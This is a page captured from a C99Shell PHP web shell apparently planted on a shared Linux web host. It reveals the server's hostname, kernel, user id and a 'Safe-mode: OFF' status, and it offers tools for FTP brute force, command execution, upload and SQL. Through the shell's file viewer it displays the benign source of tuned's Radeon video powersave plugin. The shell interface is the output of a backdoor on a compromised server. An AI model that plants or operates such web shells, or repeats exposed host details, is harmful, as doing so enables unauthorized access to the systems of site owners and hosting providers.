!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib/python3.6/site-packages/tuned/plugins/   drwxr-xr-x
Free 6181.87 GB of 6263.07 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     plugin_video.py (3.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
from . import base
from .decorators import *
import tuned.logs
from tuned.utils.commands import commands
import os
import errno
import re

log = tuned.logs.get()

class VideoPlugin(base.Plugin):
    """
    `video`::
    
    Sets various powersave levels on video cards. Currently, only the
    Radeon cards are supported. The powersave level can be specified
    by using the [option]`radeon_powersave` option. Supported values are:
    +
    --
    * `default`
    * `auto`
    * `low`
    * `mid`
    * `high`
    * `dynpm`
    * `dpm-battery`
    * `dpm-balanced`
    * `dpm-perfomance`
    --
    +
    For additional detail, see
    link:https://www.x.org/wiki/RadeonFeature/#kmspowermanagementoptions[KMS Power Management Options].
    +
    NOTE: This plug-in is experimental and the option might change in future releases.
    +
    .To set the powersave level for the Radeon video card to high
    ====
    ----
    [video]
    radeon_powersave=high
    ----
    ====
    """

    def _init_devices(self):
        self._devices_supported = True
        self._free_devices = set()
        self._assigned_devices = set()

        # FIXME: this is a blind shot, needs testing
        for device in self._hardware_inventory.get_devices("drm").match_sys_name("card*").match_property("DEVTYPE", "drm_minor"):
            self._free_devices.add(device.sys_name)

        self._cmd = commands()

    def _get_device_objects(self, devices):
        return [self._hardware_inventory.get_device("drm", x) for x in devices]

    @classmethod
    def _get_config_options(self):
        return {
            "radeon_powersave" : None,
        }

    def _instance_init(self, instance):
        instance._has_dynamic_tuning = False
        instance._has_static_tuning = True

    def _instance_cleanup(self, instance):
        pass

    def _radeon_powersave_files(self, device):
        return {
            "method" : "/sys/class/drm/%s/device/power_method" % device,
            "profile": "/sys/class/drm/%s/device/power_profile" % device,
            "dpm_state": "/sys/class/drm/%s/device/power_dpm_state" % device
        }

    @command_set("radeon_powersave", per_device=True)
    def _set_radeon_powersave(self, value, device, sim, remove):
        sys_files = self._radeon_powersave_files(device)
        va = str(re.sub(r"(\s*:\s*)|(\s+)|(\s*;\s*)|(\s*,\s*)", " ", value)).split()
        if not os.path.exists(sys_files["method"]):
            if not sim:
                log.warn("radeon_powersave is not supported on '%s'" % device)
                return None
        for v in va:
            if v in ["default", "auto", "low", "mid", "high"]:
                if not sim:
                    if (self._cmd.write_to_file(sys_files["method"], "profile", \
                        no_error = [errno.ENOENT] if remove else False) and
                        self._cmd.write_to_file(sys_files["profile"], v, \
                            no_error = [errno.ENOENT] if remove else False)):
                                return v
            elif v == "dynpm":
                if not sim:
                    if (self._cmd.write_to_file(sys_files["method"], "dynpm", \
                        no_error = [errno.ENOENT] if remove else False)):
                            return "dynpm"
            # new DPM profiles, recommended to use if supported
            elif v in ["dpm-battery", "dpm-balanced", "dpm-performance"]:
                if not sim:
                    state = v[len("dpm-"):]
                    if (self._cmd.write_to_file(sys_files["method"], "dpm", \
                        no_error = [errno.ENOENT] if remove else False) and
                        self._cmd.write_to_file(sys_files["dpm_state"], state, \
                            no_error = [errno.ENOENT] if remove else False)):
                                return v
            else:
                if not sim:
                    log.warn("Invalid option for radeon_powersave.")
                return None
        return None

    @command_get("radeon_powersave")
    def _get_radeon_powersave(self, device, ignore_missing = False):
        sys_files = self._radeon_powersave_files(device)
        method = self._cmd.read_file(sys_files["method"], no_error=ignore_missing).strip()
        if method == "profile":
            return self._cmd.read_file(sys_files["profile"]).strip()
        elif method == "dynpm":
            return method
        elif method == "dpm":
            return "dpm-" + self._cmd.read_file(sys_files["dpm_state"]).strip()
        else:
            return None

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0109 ]--